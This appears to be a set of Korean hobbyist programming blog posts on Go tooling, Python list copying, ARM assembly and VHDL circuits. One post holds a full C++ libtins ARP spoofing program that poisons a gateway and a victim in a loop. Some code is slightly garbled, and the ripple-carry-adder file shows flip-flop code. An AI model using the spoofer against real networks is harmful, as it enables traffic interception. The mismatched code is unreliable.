https://marketplace.visualstudio.com/items?itemName=lukehoban.Go


기본적으로 위의 URL에서 Visual Studio Code에 Go를 사용하기 위한 플러그인을 설치해야 한다.

Sublime Text와 비슷하게 Ctrl + Shift + P를 이용해 명령창을 열고 'ext install Go' 를 입력하면 된다.

물론 우선 PC에 Go가 설치되어 있어야 하는건 당연하다.

Go가 설치되었다면 $path 환경변수에 Go가 설치된 디렉토리를 지정해 주는 것은 기본이다.


Go가 설치된 이후에는 환경변수로 GOPATH라고 하는 것이 필요한데, 이는 위 URL에서 설치하라고 하는 툴들의 소스를 받아올 주소로 사용되기도 하고, 빌드나 뭐 여러 부분에서 많이 사용되는듯 하다.


나는 C:\Go\path 디렉토리를 만들고 여기에 $GOPATH 환경변수를 만들어 지정해 주었다.

이후 위 URL에서 하라는 대로


go get -u -v github.com/nsf/gocode
go get -u -v github.com/rogpeppe/godef
go get -u -v github.com/golang/lint/golint
go get -u -v github.com/lukehoban/go-outline
go get -u -v sourcegraph.com/sqs/goreturns
go get -u -v golang.org/x/tools/cmd/gorename
go get -u -v github.com/tpng/gopkgs
go get -u -v github.com/newhook/go-symbols
go get -u -v golang.org/x/tools/cmd/guru

위의 명령을 그대로 cmd에 쳐서 다운받도록 하자.


Visual Studio Code에서 빌드 방법은 'Ctrl + Shift + B'로 간단하다.

하지만 빌드를 하기 위해서는 어떻게 빌드할지 설정을 나타내는 파일이 필요한데, 없으면 알림으로 Task Runner가 없다고 알려준다.


나는 npm으로 선택하고 이를 수정하여 go를 빌드할 수 있도록 변경했다.



처음으로 해보는 거라 잘 모르겠으나 위처럼 설정하면 'Ctrl + Shift + B'로 Build 명령을 실행시켰을 때,

'go run ${file}' 이 실행되어 결과가 나타나는 듯 하다.



어떤 프로그래밍 언어를 배우던 가장 먼저 진행하는 'Hello world!'를 출력해 보았다.

Go Lang은 처음이라 헷갈릴 부분도 많은 듯 싶으나 기대도 엄청 많이 된다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,




https://github.com/skyclad0x7b7/CustomString


 일단 어떻게든 만들어보기는 했는데 예외처리를 덜 한 부분도 있고,

아직 어떻게 처리를 해야 좋을지 몰라서 exit(0) 으로 처리해 버린 부분도 있다.


아직 내부 함수들을 전부 구현하지 못했다. 어서 개발을 진행해야겠다.


# replace 함수는 일단 삭제하는걸로 했다.

간단할 줄 알았는데 생각보다 고려할 사항이 많더라...

일단 지금 급한 일이 많으니 이것부터 처리해야겠다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



 파이썬을 사용하는 사람이라면 List의 편리함을 아주 잘 알고 있을 것이라고 생각한다. 이번에 파이썬으로 프로그램을 좀 짜던 중, 리스트를 복사해야 하는 일이 생겼는데 늘 해왔던 대로 변수를 복사하듯이 list2 = list1 이런 식으로 대입했더니 list2를 변경하면 list1까지 같이 변경되어버리는 문제가 생겼다. 파이썬이 C 기반으로 만들어진 언어인데, 내부적으로 얕은 복사를 사용하는 모양이었다.



(이런식으로...)



 이 방식을 해결하고 독립적으로 내부 값들을 전부 복사하여 새 리스트를 생성하는 간단한 방법은 다음 두 가지의 방법이 있다.



list2 = list1[:]



list2 = list(list1)



 하지만 위와 같은 방식을 사용하면 겉으로는 깊은 복사처럼 보이지만 리스트 내의 변수를 새로운 리스트에 담아서 주는 것 뿐이기 때문에 리스트 내의 리스트를 사용할 경우 해당 내부의 리스트까지 제대로 깊은 복사가 되지 않는다. 결국은 얕은 복사라는 의미이다. 


(여전히 얕은 복사이다)



이걸 해결하기 위해서는 copy.deepcopy 함수를 사용하면 된다.




블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/***************
*    Author : 5kyc1ad
*    2016.04.26 : 11:52
****************/
 
#include <tins/tins.h>
#include <unistd.h>
 
using namespace Tins;
using namespace std;
 
void arpSpoofing(IPv4Address, IPv4Address);
 
int main(int argc, char *argv[])
{
    if(argc !=3) {
        cout << "[*] Usage : " << argv[0<< " [Gateway] [Victim]" << endl;
        return 1;
    }
    IPv4Address gateway, victim;
    try {
        gateway = argv[1];
        victim = argv[2];
    } catch(...) {
        cout << "[*] Please input arguments correctly" << endl;
        return 1;
    }
    try {
        arpSpoofing(gateway, victim);
    } catch (runtime_error& ex){
        cout << "[*] Runtime Error : " << ex.what() << endl;
        return 1;
    }
    return 0;
}
 
void arpSpoofing(IPv4Address gateway, IPv4Address victim) {
    NetworkInterface iface;
    NetworkInterface::Info info;
    try {
        iface = gateway;
        info = iface.addresses();
    } catch(runtime_error& ex){
        cout << ex.what() << endl;
        return;
    }
 
    PacketSender sender;
    EthernetII::address_type gw_hw, victim_hw;
    gw_hw = Utils::resolve_hwaddr(iface, gateway, sender);
    victim_hw = Utils::resolve_hwaddr(iface, victim, sender);
 
    cout << "[*][*] Attack Configure" << endl;
    cout << "[*] Gateway : " << gateway << ", " << gw_hw << endl;
    cout << "[*] Victim  : " << victim << ", " << victim_hw << endl;
    cout << "[*] Own_IP  : " << info.ip_addr << ", " << info.hw_addr << endl;
 
    ARP arp_toGateway(gateway, victim, gw_hw, info.hw_addr), arp_toVictim(victim, gateway, victim_hw, info.hw_addr);
    arp_toGateway.opcode(ARP::REPLY);
    arp_toVictim.opcode(ARP::REPLY);
 
    // Generate Ethernet Packet for Capsulation
    EthernetII eth_toGateway = EthernetII(gw_hw, info.hw_addr) / arp_toGateway;
    EthernetII eth_toVictim  = EthernetII(victim_hw, info.hw_addr) / arp_toVictim;
 
    cout << "[*][*] Attack Start" << endl;
 
    while(true) {
        sender.send(eth_toGateway, iface);
        sender.send(eth_toVictim, iface);
        clog << "[*] Do ARP Spoofing" << endl;
        sleep(5);
    }
}
cs

'Programming' 카테고리의 다른 글

[C++] std::string 클래스 구현  (0) 2016.05.23
Python List 얕은 복사, 깊은 복사  (0) 2016.04.26
[ARM] Assembly Programming - Hello World!  (0) 2016.04.22
[VHDL] 4-bit Carry Select Adder  (0) 2016.02.17
[VHDL] 4 to 1 Multiplexer  (0) 2016.02.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,





ARM 공부의 목적이었던 ARM Assembly로 프로그래밍을 해보았다.

가장 처음 Intel Assembly로 Hello World를 찍을 때 썼던 방식 그대로이다.

사실 ARM은 레지스터에 인자를 주기 때문에 스택을 할당할 필요는 없지만 배우는 김에 갖다 쓰면서 그대로 할당하도록 해 두었다.

확실히 Intel에 비해 덜 익숙해서 그런지 위화감이 조금 있긴 하지만 금방 익숙해질 것 같다.


실행시키면 이렇게 "Hello, World!"를 출력해 준다.


이것도 Intel때와 마찬가지로 syscall을 이용하여 write 함수를 사용한 것인데,

첫번째 인자인 r0에는 File Descriptor로 stdout인 1이 들어가고,

r1에는 문자열의 주소가 들어가며

r2에는 문자열의 길이인 14가 들어갔다.

r7에는 syscall에서 write함수가 4번이기 때문에 4를 지정해 주었다.

요즘은 'Software Interrupt'를 나타내는 swi 명령어보다는 'Supervisor Call'을 나타내는 svc를 쓴다고는 하지만 일단 컴파일은 되므로 swi를 사용하여 프로그래밍해 보았다.

실제로 컴파일한 내용을 다시 디스어셈블해서 확인해 보니 swi가 아니라 svc로 되어 있었다.

계속 공부하자!

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



원래 32비트로 만들 생각이었지만 테스트 벤치 만들때 너무 귀찮아질 것 같아서 4비트로 만들었다.

실수로 carry랑 temp를 거꾸로 넣어버린 탓에 값이 이상하게 나와서 조금 헤맸다.

한술 더 떠서 Modelsim이 계속 응답 없음을 띄우며 종료되는 현상이 있어서 저장 안하고 몇번씩 거의 다 짠 코드를 날렸다...


Full Adder는 이미 올렸으니 생략하고 나머지만 올린다.



mux2.vhd

library ieee;
use ieee.std_logic_1164.all;
USE ieee.numeric_std.all;

entity mux2 is
	port ( mux_a, mux_b : IN std_logic;
		mux_sel : IN std_logic;
		mux_o : OUT std_logic );
end mux2;

architecture arch_mux2 of mux2 is
begin
	process( mux_a, mux_b, mux_sel )
	begin
	case mux_sel is
		when '0' => mux_o <= mux_a;
		when others => mux_o <= mux_b;
	end case;
	end process;
end arch_mux2;





csa.vhd

library ieee;
use ieee.std_logic_1164.all;

entity csa is
	port ( csa_a, csa_b : IN std_logic_vector (3 downto 0);
		csa_cin : IN std_logic;
		csa_s : OUT std_logic_vector (3 downto 0);
		csa_cout : OUT std_logic );
end csa;

architecture arch_csa of csa is
	component fa is
		port ( a, b, cin : IN std_logic;
			s, cout : OUT std_logic );
	end component;

	component mux2 is
		port ( mux_a, mux_b : IN std_logic;
			mux_sel : IN std_logic;
			mux_o : OUT std_logic );
	end component;

	signal temp_0, temp_1 : std_logic_vector (3 downto 0);
	signal carry_0, carry_1 : std_logic_vector (3 downto 0);

	begin
		fa_0 : fa port map ( csa_a(0), csa_b(0), '0', temp_0(0), carry_0(0) );
		fa_cin_0 : for i in 0 to 2 generate
			fa_0 : fa port map ( csa_a(i+1), csa_b(i+1), carry_0(i), temp_0(i+1), carry_0(i+1) );
		end generate;

		fa_1 : fa port map ( csa_a(0), csa_b(0), '1', temp_1(0), carry_1(0) );
		fa_cin_1 : for j in 0 to 2 generate
			fa_1 : fa port map ( csa_a(j+1), csa_b(j+1), carry_1(j), temp_1(j+1), carry_1(j+1) );
		end generate;

		mux_loop : for k in 0 to 3 generate
			mux_0 : mux2 port map ( temp_0(k), temp_1(k), csa_cin, csa_s(k) );
		end generate;

		mux_1 : mux2 port map ( carry_0(3), carry_1(3), csa_cin, csa_cout );
end arch_csa;





csa_tb.vhd

library ieee;
use ieee.std_logic_1164.all;

entity csa_tb is
end csa_tb;

architecture arch_csa_tb of csa_tb is
	component csa is
		port ( csa_a, csa_b : IN std_logic_vector (3 downto 0);
			csa_cin : IN std_logic;
			csa_s : OUT std_logic_vector (3 downto 0);
			csa_cout : OUT std_logic );
	end component;

	signal input_a, input_b : std_logic_vector ( 3 downto 0 ) := "0000";
	signal input_cin : std_logic;
	signal output_s : std_logic_vector ( 3 downto 0 );
	signal output_cout : std_logic;
	
begin
	csa_port_map : csa port map ( input_a, input_b, input_cin, output_s, output_cout );

	process_a : process
	begin
		input_a <= "0000";
		wait for 10 ns;
		input_a <= "0001";
		wait for 10 ns;
		input_a <= "0010";
		wait for 10 ns;
		input_a <= "0100";
		wait for 10 ns;
		input_a <= "1000";
		wait for 10 ns;

	end process;

	process_b : process
	begin
		wait for 20 ns;
		input_b <= "0111";
	end process;

	process_cin : process
	begin
		input_cin <= '0';
		wait for 5 ns;
		input_cin <= '1';
		wait for 5 ns;
	end process;

end arch_csa_tb;





결과값은 위와 같이 나온다.

input_a와 input_b를 더한 값이 input_s에 저장되며, 만약 자리올림이 발생할 경우 input_cout으로 올림된다.


'Programming' 카테고리의 다른 글

[ARP Spoofing] 2. Send ARP Reply to Victim (Do Arp Spoofing)  (0) 2016.04.26
[ARM] Assembly Programming - Hello World!  (0) 2016.04.22
[VHDL] 4 to 1 Multiplexer  (0) 2016.02.15
[VHDL] Ripple Carry Adder  (0) 2016.02.12
[VHDL] Full Adder  (0) 2016.02.11
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



4bit 를 입력받아 따로 입력된 selector로 선택한 값을 출력해 주는 4 to 1 Multiplexer이다.

왠지 컴파일이 계속 안되다가 며칠 뒤 하니까 된다 (._.







mul4.vhd

library ieee;
use ieee.std_logic_1164.all;
USE ieee.numeric_std.all;

entity mux4 is
	port ( a : IN std_logic_vector (3 downto 0);
		s : IN std_logic_vector (1 downto 0);
		o : OUT std_logic );
end mux4;

architecture arch_mux4 of mux4 is
begin
	o <= a(to_integer(unsigned(s)));
end arch_mux4;






mul4_tb.vhd

library ieee;
use ieee.std_logic_1164.all;
USE ieee.numeric_std.all;

entity mux4_tb is
end mux4_tb;

architecture arch_mux4_tb of mux4_tb is
	component mux4 is
		port ( a : IN std_logic_vector (3 downto 0);
			s : IN std_logic_vector (1 downto 0);
			o : OUT std_logic );
	end component;

	signal input_a : std_logic_vector (3 downto 0);
	signal input_s : std_logic_vector (1 downto 0);
	signal output_o : std_logic;
begin
	mux4_port_map : mux4 port map ( input_a, input_s, output_o );
	
	process_a : process begin
		input_a <= "0110";
		wait for 100 ns;
		input_a <= "1001";
		wait for 100 ns;
	end process;

	process_s : process begin
		input_s <= "00";
		wait for 10 ns;
		input_s <= "01";
		wait for 10 ns;
		input_s <= "10";
		wait for 10 ns;
		input_s <= "11";
		wait for 10 ns;
	end process;
end arch_mux4_tb;





'Programming' 카테고리의 다른 글

[ARM] Assembly Programming - Hello World!  (0) 2016.04.22
[VHDL] 4-bit Carry Select Adder  (0) 2016.02.17
[VHDL] Ripple Carry Adder  (0) 2016.02.12
[VHDL] Full Adder  (0) 2016.02.11
[VHDL] D Flip-Flop  (0) 2016.02.11
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



32-bit Ripple Carry Adder이다.



rca.vhd

library ieee;
use ieee.std_logic_1164.all;

entity dff is
	port ( d : IN std_logic;
		clk : IN std_logic;
		set, rst : IN std_logic;
		q : OUT std_logic );
end dff;

architecture arch_dff of dff is
begin
	process_dff : process(clk) is
	begin
		if ( rst = '1' ) then
			q <= '0';
		elsif ( set = '1' ) then
			q <= '1';
		elsif ( clk = '1' and clk'event ) then
			q <= d;
		end if;
	end process;
end arch_dff;






rca_tb.vhd

library ieee;
use ieee.std_logic_1164.all;
use ieee.std_logic_arith.all;

entity rca_tb is
end rca_tb;

architecture arch_rca_tb of rca_tb is
	component rca is
		port ( a, b : IN std_logic_vector ( 31 downto 0 );
			cin : IN std_logic;
			s : OUT std_logic_vector (31 downto 0);
			cout : OUT std_logic );
	end component;

	signal input_a : std_logic_vector (31 downto 0) := "00000000000000000000000000000000";
	signal input_b : std_logic_vector (31 downto 0) := "11111111111111111111111111111111";
	signal input_cin : std_logic;
	signal output_s : std_logic_vector (31 downto 0);
	signal output_cout : std_logic;

begin
	rca_port_map : rca port map ( input_a, input_b, input_cin, output_s, output_cout );
	
	process_a : process begin
		input_a <= unsigned(input_a) + 1;
		wait for 10 ns;
	end process;

	process_b : process begin
		input_b <= unsigned(input_b) - 1;
		wait for 10 ns;
	end process;

	process_cin: process begin
		input_cin <= '0';
		wait for 100 ns;
		input_cin <= '1';
		wait for 100 ns;
	end process;

end arch_rca_tb;


10 ns의 간격을 두고 input_a는 1씩 더하며 input_b는 1씩 빼주기 때문에 더한 값은 언제나 "11111111111111111111111111111111"이 된다.

여기서 변수는 당연하게도 맨 처음 올라오는 캐리 비트인 input_cin이며, 이 값이 1일 경우 오버플로우가 일어나 output_s는 모든 비트가 0이 되고, output_cout이 1이 된다.




위는 이 글의 소스 그대로 컴파일하여 시뮬레이션을 돌려 본 결과이다.

5 ns 마다 input_cin이 0, 1을 왔다갔다 하기 때문에 output_s와 output_cout 도 마찬가지로 각각 0, 1을 왔다갔다 한다.



이것은 input_cin의 딜레이를 100 ns로 늘려보았을 때의 결과이다.

보다시피 input_cin이 0인 구간에서는 input_a + input_b 는 항상 "11111111111111111111111111111111"로 고정인 것을 알 수 있다.

input_cin이 1이 되면 자연스럽게 output_s는 모든 비트가 0이 되고 output_cout은 1이 된다.

'Programming' 카테고리의 다른 글

[VHDL] 4-bit Carry Select Adder  (0) 2016.02.17
[VHDL] 4 to 1 Multiplexer  (0) 2016.02.15
[VHDL] Full Adder  (0) 2016.02.11
[VHDL] D Flip-Flop  (0) 2016.02.11
파이썬 웹 이미지 크롤러 (GUI)  (0) 2016.02.03
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

[VHDL] Full Adder

Programming 2016. 2. 11. 23:23


a, b, cin을 입력받아 덧셈의 결과를 s, cout으로 출력해주는 Full Adder이다.



fa.vhd

library ieee;
use ieee.std_logic_1164.all;

entity fa is
	port ( a, b, cin : IN std_logic;
		s, cout : OUT std_logic );
end fa;

architecture arch_fa of fa is
begin
	s <= a XOR b XOR cin;
	cout <= (a AND b) OR (b AND cin) OR (a AND cin);
end arch_fa;






fa_tb.vhd

library ieee;
use ieee.std_logic_1164.all;

entity fa_tb is
end fa_tb;

architecture arch_fa_tb of fa_tb is
	signal input_a, input_b, input_cin : std_logic;
	signal output_s, output_cout : std_logic;

	component fa is
		port ( a, b, cin : IN std_logic;
			s, cout : OUT std_logic );
	end component;

begin
	fa_port_map : fa port map ( input_a, input_b, input_cin, output_s, output_cout );

	process_a : process begin
		input_a <= '0';
		wait for 20 ns;
		input_a <= '1';
		wait for 10 ns;
	end process;

	process_b : process begin
		input_b <= '1';
		wait for 10 ns;
		input_b <= '0';
		wait for 20 ns;
	end process;

	process_cin : process begin
		input_cin <= '1';
		wait for 10 ns;
		input_cin <= '0';
		wait for 10 ns;
	end process;
end arch_fa_tb;


이를 여러 개 연결하여 여러 비트의 덧셈연산을 수행할 수 있다.





시뮬레이션을 돌려 본 화면이다.

현재 가리키고 있는 상태는 input_a에 0, input_b에 1, input_cin에 1이 들어가 output_s는 올림되어 0이 되고, output_cout에 1이 들어간 상태로 정상 작동하는 것을 알 수 있다.

'Programming' 카테고리의 다른 글

[VHDL] 4 to 1 Multiplexer  (0) 2016.02.15
[VHDL] Ripple Carry Adder  (0) 2016.02.12
[VHDL] D Flip-Flop  (0) 2016.02.11
파이썬 웹 이미지 크롤러 (GUI)  (0) 2016.02.03
[C++] 가상함수(Virtual Function)  (0) 2016.01.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

[VHDL] D Flip-Flop

Programming 2016. 2. 11. 23:01



dff.vhd

library ieee;
use ieee.std_logic_1164.all;

entity dff is
	port ( d : IN std_logic;
		clk : IN std_logic;
		set, rst : IN std_logic;
		q : OUT std_logic );
end dff;

architecture arch_dff of dff is
begin
	process_dff : process(clk) is
	begin
		if ( rst = '1' ) then
			q <= '0';
		elsif ( set = '1' ) then
			q <= '1';
		elsif ( clk = '1' and clk'event ) then
			q <= d;
		end if;
	end process;
end arch_dff;



dff_tb.vhd

library ieee;
use ieee.std_logic_1164.all;

entity dff_tb is
end dff_tb;

architecture arch_dff_tb of dff_tb is
	signal input_d, input_clk : std_logic;
	signal input_set, input_rst : std_logic;
	signal output_q : std_logic;

	component dff is
		port ( d : IN std_logic;
			clk : IN std_logic;
			set, rst : IN std_logic;
			q : OUT std_logic );
	end component;

begin
	dff_port : dff port map ( input_d, input_clk,
				  input_set, input_rst, output_q );
	
	process_clk : process begin
		input_clk <= '0';
		wait for 10 ns;
		input_clk <= '1';
		wait for 10 ns;
	end process;

	process_rst : process begin
		input_rst <= '1';
		wait for 20 ns;
		input_rst <= '0';
		wait for 200 ns;
	end process;

	process_d : process begin
		input_d <= '0';
		wait for 40 ns;
		input_d <= '1';
		wait for 60 ns;
	end process;

end arch_dff_tb;



VHDL을 이용해 짜 본 D Flip-Flop 이다.

enable을 넣으면 D Latch가 되겠지만 넣기 귀찮아서 넣지 않았다.




위 이미지는 시뮬레이션을 돌려 본 화면이다.

현재 가리키고 있는 부분은 input_d에 1, input_clk에 1이 들어가 있고 input_rst가 0이므로 output_q가 1로 정상적인 출력을 보이고 있다.

만약 여기서 input_rst가 1이었을 경우에는 output_q 가 0이 나올 것이다.

'Programming' 카테고리의 다른 글

[VHDL] Ripple Carry Adder  (0) 2016.02.12
[VHDL] Full Adder  (0) 2016.02.11
파이썬 웹 이미지 크롤러 (GUI)  (0) 2016.02.03
[C++] 가상함수(Virtual Function)  (0) 2016.01.20
Assembly Programming - atoi  (0) 2015.10.11
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,